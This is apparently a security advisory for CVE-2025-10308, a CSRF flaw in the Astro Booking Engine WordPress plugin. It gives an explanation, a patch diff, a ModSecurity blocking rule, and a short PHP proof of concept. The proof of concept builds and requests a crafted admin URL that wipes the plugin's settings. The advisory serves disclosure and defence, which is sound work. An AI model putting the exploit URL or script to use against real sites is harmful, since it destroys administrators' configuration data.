Atomic Edge analysis of CVE-2025-10308:
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the Astro Booking Engine plugin for WordPress, affecting all versions up to and including 1.4.0. The issue resides in the plugin’s settings deletion functionality, which lacks proper nonce validation. This flaw allows an unauthenticated attacker to force a site administrator to delete all plugin settings by tricking them into clicking a malicious link, resulting in a loss of configuration data.
The root cause is in the file `includes/tabs/tab-support.php`. The vulnerable code path starts on line 6 with the function `astro_be_delete_options_prefixed`. This function accepts a prefix, sanitizes it with `esc_sql()`, and then constructs a `DELETE` query against the `wp_options` table. However, the critical flaw is in the trigger condition at line 10. The code checks if the `delete_options` GET parameter is set to `1` and then executes the deletion. There is no capability check to verify the user is an administrator, and more importantly, there is no nonce verification to ensure the request was intentionally made by the administrator. This missing nonce validation on the options deletion functionality is the core vulnerability.
An attacker can exploit this by crafting a malicious URL that points to the plugin’s support tab with the `delete_options` parameter set to `1`. The URL would look like: `http://target-site.com/wp-admin/admin.php?page=astro-booking-engine&tab=support&delete_options=1`. The attacker would then trick a logged-in administrator into clicking this link, perhaps through a phishing email or a hidden element on a malicious website. Upon clicking, the browser automatically sends a request to the admin page with the attacker-controlled parameters. Since the admin is already authenticated, WordPress processes the request and the plugin’s code deletes all settings with the `astro_be_` prefix. This is a classic CSRF attack, where the administrator’s browser unknowingly performs the action.
The patch, implemented in version 1.4.1, adds two layers of defense. First, it includes a capability check: `if ( ! current_user_can( ‘manage_options’ ) )` which verifies that the current user has administrative privileges. Second, it introduces nonce validation using `wp_verify_nonce()` with a nonce generated by `wp_create_nonce(‘astro_be_delete_options’)`. The plugin now generates a valid nonce URL via `add_query_arg()` and `wp_create_nonce()`, and only processes the deletion request if the nonce is present and valid. This ensures that only intentional requests originating from the administrator’s session can trigger the destructive action.
Exploitation of this vulnerability results in a denial-of-service condition for the booking engine. All plugin settings, including the booking engine provider configuration, API keys, and calendar theme, would be deleted. This would render the booking engine inoperable, requiring the administrator to manually reconfigure the plugin from scratch. The integrity of the website’s booking system is compromised, potentially leading to lost bookings and revenue, and a negative impact on user trust.
Atomic Edge assessment: This is a medium-severity issue (CVSS 4.3) that primarily impacts data integrity and availability. The attack requires social engineering to be successful, but the low technical barrier makes it an accessible exploit for a determined attacker.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/astro-booking-engine/astro-booking-engine.php
+++ b/astro-booking-engine/astro-booking-engine.php
@@ -3,11 +3,11 @@
* Plugin Name: Astro Booking Engine
* Plugin URI: https://wordpress.org/plugins/astro-booking-engine
* Description: Display the booking engine form through the use of the shortcode [astro-booking-engine]. Includes the most popular booking engine providers.
- * Version: 1.4.0
- * Requires at least: 5.2
+ * Version: 1.4.1
+ * Requires at least: 6.0.1
* Requires PHP: 7.4
- * Author: AstroThemes
- * Author URI: https://www.astrothemes.com
+ * Author: Alian Schiavoncini
+ * Author URI: https://www.alian.it
* License: GPL v2 or later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: astro-booking-engine
@@ -36,6 +36,7 @@
/**
* Plugin constants.
*/
+define('ASTRO_BE_VERSION', '1.4.1');
define('ASTRO_BE_PREFIX', 'astro_be_');
define('ASTRO_BE_TEXTDOMAIN', astro_be_plugin_data('TextDomain'));
@@ -60,9 +61,9 @@
$jquery_ui_theme = get_option(ASTRO_BE_PREFIX.'calendar');
if (!$jquery_ui_theme) { $jquery_ui_theme = 'base'; }
$jquery_ui_theme_url = plugin_dir_url( __FILE__ ) . 'vendors/jquery-ui-themes/themes/'.$jquery_ui_theme.'/jquery-ui.min.css';
- wp_enqueue_style('jquery-ui-datepicker-css', $jquery_ui_theme_url);
+ wp_enqueue_style('jquery-ui-datepicker-css', $jquery_ui_theme_url, array(), ASTRO_BE_VERSION);
- $plugin_version = astro_be_plugin_data('Version');
+ $plugin_version = ASTRO_BE_VERSION;
// Enqueue main files
wp_register_style( 'astro-booking-engine', plugin_dir_url( __FILE__ ) . 'css/astro-booking-engine.css', array(), $plugin_version );
--- a/astro-booking-engine/includes/classes/class-astro-booking-engine-widget.php
+++ b/astro-booking-engine/includes/classes/class-astro-booking-engine-widget.php
@@ -1,13 +1,13 @@
<?php
/**
- * AstroThemes Booking Engine Widget Class.
+ * Astro Booking Engine Widget Class.
*
- * @class AstroThemes_BE_Widget
+ * @class Astro_BE_Widget
*/
-if (!class_exists('AstroThemes_BE_Widget')) {
+if (!class_exists('Astro_BE_Widget')) {
- class AstroThemes_BE_Widget extends WP_Widget {
+ class Astro_BE_Widget extends WP_Widget {
// The construct part
function __construct() {
@@ -69,7 +69,7 @@
// Register and load the widget class
function astro_be_registration() {
- register_widget( 'AstroThemes_BE_Widget' );
+ register_widget( 'Astro_BE_Widget' );
}
add_action( 'widgets_init', 'astro_be_registration' );
--- a/astro-booking-engine/includes/classes/class-astro-plugin-panel.php
+++ b/astro-booking-engine/includes/classes/class-astro-plugin-panel.php
@@ -1,6 +1,6 @@
<?php
/**
- * AstroThemes Plugin Panel Class.
+ * Astro Plugins Plugin Panel Class.
*
* @class Astro_Plugin_Panel
*/
@@ -17,8 +17,8 @@
}
public function astro_plugin_panel_pages() {
- $page_title = 'AstroThemes';
- $menu_title = 'AstroThemes';
+ $page_title = 'Astro Plugins';
+ $menu_title = 'Astro Plugins';
$capability = 'manage_options';
$slug = 'astro-plugin-panel';
$callback = '';
--- a/astro-booking-engine/includes/tabs/tab-settings.php
+++ b/astro-booking-engine/includes/tabs/tab-settings.php
@@ -12,7 +12,15 @@
<div class="section-wrapper-inner">
<h2 id="settings" class="title"><?php esc_html_e('Settings', 'astro-booking-engine' ); ?></h2>
- <p><?php esc_html_e('Astro Booking Engine displays the booking form using the shortcode <strong>[astro-booking-engine]</strong>.', 'astro-booking-engine'); ?></p>
+ <p><?php
+ // La stringa contiene <strong>: va stampata con wp_kses() e non con
+ // esc_html_e(), che ne convertirebbe i tag in entita rendendoli visibili
+ // a video. La whitelist consente il solo <strong>.
+ echo wp_kses(
+ __( 'Astro Booking Engine displays the booking form using the shortcode <strong>[astro-booking-engine]</strong>.', 'astro-booking-engine' ),
+ array( 'strong' => array() )
+ );
+ ?></p>
<p><?php esc_html_e( 'For installation details, read more at the', 'astro-booking-engine'); ?>
<?php printf( '<a href="%1$s">%2$s</a>',
'?page='.ASTRO_BE_TEXTDOMAIN.'&tab=support',
--- a/astro-booking-engine/includes/tabs/tab-support.php
+++ b/astro-booking-engine/includes/tabs/tab-support.php
@@ -6,20 +6,45 @@
function astro_be_delete_options_prefixed( $prefix ) {
global $wpdb;
- $prefix = esc_sql( $prefix );
- $query = $wpdb->prepare(
- "DELETE FROM {$wpdb->options} WHERE option_name LIKE %s",
- $prefix . '%'
+ // esc_like() neutralizza _ e % nel prefisso; prepare() si occupa del resto.
+ $like = $wpdb->esc_like( $prefix ) . '%';
+
+ return $wpdb->query(
+ $wpdb->prepare( "DELETE FROM {$wpdb->options} WHERE option_name LIKE %s", $like )
);
- $wpdb->query( $query );
}
$delete_options = false;
-if (isset($_GET['delete_options']) && ($_GET['delete_options'] == 1)) {
+if ( isset( $_GET['delete_options'] ) && '1' === $_GET['delete_options'] ) {
+
+ // La capability da sola non basta: senza nonce un amministratore autenticato puo
+ // essere indotto a eseguire la cancellazione con una semplice richiesta forgiata
+ // (CVE-2025-10308). Servono entrambi i controlli.
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_die( esc_html__( 'You do not have sufficient permissions to access this page.', 'astro-booking-engine' ) );
+ }
+
+ $astro_be_nonce = isset( $_GET['nonce'] ) ? sanitize_text_field( wp_unslash( $_GET['nonce'] ) ) : '';
+
+ if ( ! wp_verify_nonce( $astro_be_nonce, 'astro_be_delete_options' ) ) {
+ wp_die( esc_html__( 'Security check failed. Please go back and try again.', 'astro-booking-engine' ) );
+ }
+
astro_be_delete_options_prefixed( ASTRO_BE_PREFIX );
$delete_options = __( 'All the plugin options have deleted.', 'astro-booking-engine' );
}
+// URL del pulsante di reset, con nonce.
+$astro_be_delete_options_url = add_query_arg(
+ array(
+ 'page' => ASTRO_BE_TEXTDOMAIN,
+ 'tab' => 'support',
+ 'delete_options' => 1,
+ 'nonce' => wp_create_nonce( 'astro_be_delete_options' ),
+ ),
+ admin_url( 'admin.php' )
+);
+
$tab = 'support';
$option_group = ASTRO_BE_PREFIX . $tab;
@@ -58,7 +83,7 @@
</ul>
<p><?php esc_html_e( 'Is your booking engine provider not available in Astro Booking Engine?', 'astro-booking-engine' ); ?><br>
- <?php esc_html_e( 'Write me an email at', 'astro-booking-engine' ); ?> <a href="mailto:info@astrothemes.com">info@astrothemes.com</a>.</p>
+ <?php esc_html_e( 'Write me an email at', 'astro-booking-engine' ); ?> <a href="mailto:alian@alian.it">alian@alian.it</a>.</p>
<hr />
@@ -67,12 +92,12 @@
<span class="support-faq-answer"><?php esc_html_e( 'Request support at the ', 'astro-booking-engine' ); ?> <a href="https://wordpress.org/support/plugin/astro-booking-engine/" target="_blank"><?php esc_html_e( 'plugin support page', 'astro-booking-engine' ); ?></a>.</span></p>
<p><span class="support-faq-question"><?php esc_html_e( 'Have more questions?', 'astro-booking-engine' ); ?></span><br>
- <span class="support-faq-answer"><?php esc_html_e( 'Write me an email at', 'astro-booking-engine' ); ?> <a href="mailto:info@astrothemes.com">info@astrothemes.com</a>.</span></p>
+ <span class="support-faq-answer"><?php esc_html_e( 'Write me an email at', 'astro-booking-engine' ); ?> <a href="mailto:alian@alian.it">alian@alian.it</a>.</span></p>
<hr />
<h3 id="support-data-reset" class="title"><?php esc_html_e( 'Plugin data reset', 'astro-booking-engine' ); ?></h3>
- <p><a class="button button-primary" href="?page=<?php echo urlencode_deep(ASTRO_BE_TEXTDOMAIN); ?>&tab=support&delete_options=1"><?php esc_html_e( 'Remove all plugin settings', 'astro-booking-engine' ); ?></a></p>
+ <p><a class="button button-primary" href="<?php echo esc_url( $astro_be_delete_options_url ); ?>"><?php esc_html_e( 'Remove all plugin settings', 'astro-booking-engine' ); ?></a></p>
<p class="color-red"><?php echo esc_html($delete_options); ?></p>
</div>
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_FILENAME "@streq /wp-admin/admin.php" "id:20251938,phase:2,deny,status:403,chain,msg:'CVE-2025-10308 via Astro Booking Engine parameters',severity:'CRITICAL',tag:'CVE-2025-10308'"
SecRule ARGS_GET:page "@streq astro-booking-engine" "chain"
SecRule ARGS_GET:tab "@streq support" "chain"
SecRule ARGS_GET:delete_options "@streq 1" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-10308 - Astro Booking Engine <= 1.4.0 - Cross-Site Request Forgery to Settings Reset
$target_url = 'http://target-site.com'; // Target WordPress site URL
$admin_page = '/wp-admin/admin.php'; // Path to the admin page
$payload_params = array(
'page' => 'astro-booking-engine',
'tab' => 'support',
'delete_options' => 1
);
// Construct the malicious URL that an attacker would trick an admin into visiting.
$malicious_url = $target_url . $admin_page . '?' . http_build_query($payload_params);
echo "[+] CVE-2025-10308 Proof of Conceptn";
echo "[+] Malicious URL to send to admin: " . $malicious_url . "nn";
echo "[+] Sending request without authentication (will fail or redirect)...n";
$ch = curl_init($malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Note: A successful CSRF attack requires the admin to be logged in and click the link.
// This PoC script, when executed in a browser session where an admin is logged in,
// would trigger the deletion.
echo "[+] To exploit this, an authenticated admin must click the link above.n";
echo "[+] The link will trigger the deletion of all plugin settings.n";
?>
